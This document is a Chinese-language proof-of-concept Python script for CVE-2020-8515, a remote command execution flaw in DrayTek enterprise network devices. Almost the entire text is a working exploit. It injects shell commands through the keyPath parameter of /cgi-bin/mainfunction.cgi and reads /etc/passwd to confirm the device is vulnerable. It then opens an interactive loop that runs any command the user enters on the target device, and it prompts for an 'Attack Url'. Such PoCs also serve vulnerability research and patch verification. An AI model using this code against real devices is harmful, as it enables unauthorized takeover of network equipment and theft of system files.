CVE-2020-8515 DrayTek企业网络设备 远程命令执行漏洞

POC

import requests
import sys
import random
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \03334mPOC_Des: http://wiki.peiqi.tech                                   \0330m')
    print('+  \03334mGithub : https://github.com/PeiQi0                                 \0330m')
    print('+  \03334m公众号 : PeiQi文库                                                     \0330m')
    print('+  \03334mVersion: DrayTek企业网络设备                                        \0330m')
    print('+  \03336m使用格式:  python3 poc.py                                            \0330m')
    print('+  \03336mUrl         >>> http://xxx.xxx.xxx.xxx                             \0330m')
    print('+  \03336mCmd         >>> pwd                                                \0330m')
    print('+------------------------------------------')

def POC_1(target_url):
    vuln_url = target_url + "/cgi-bin/mainfunction.cgi"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
    }
    data = "action=login&keyPath=%27%0A%2fbin%2fcat${IFS}/etc/passwd%0A%27&loginUser=a&loginPwd=a"
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5)
        print("\03332mo 正在请求 {}/cgi-bin/mainfunction.cgi \0330m".format(target_url))
        if "root" in response.text and response.status_code == 200:
            print("\03332mo 目标 {}存在漏洞 ,成功读取 /etc/passwd \0330m".format(target_url))
            print("\03332mo 响应为:\n{} \0330m".format(response.text))
            while True:
                Cmd = input("\03335mCmd >>> \0330m")
                if Cmd == "exit":
                    sys.exit(0)
                else:
                    POC_2(target_url, Cmd)
        else:
            print("\03331mx 不存在漏洞 \0330m")
            sys.exit(0)
    except Exception as e:
        print("\03331mx 请求失败 \0330m", e)
        sys.exit(0)

def POC_2(target_url, Cmd):
    vuln_url = target_url + "/cgi-bin/mainfunction.cgi"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
    }
    Cmd = Cmd.replace(' ','${IFS}')
    data = "action=login&keyPath=%27%0A%2fbin%2f%26{}%0A%27&loginUser=a&loginPwd=a".format(Cmd)
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5)
        if response.status_code == 200:
            print("\03332mo 正在请求 {}/cgi-bin/mainfunction.cgi \0330m".format(target_url))
            print("\03332mo 响应为:\n{} \0330m".format(response.text))
    except Exception as e:
        print("\03331mx 请求失败 \0330m", e)

if __name__ == '__main__':
    title()
    target_url = str(input("\03335mPlease input Attack Url\nUrl >>> \0330m"))
    POC_1(target_url)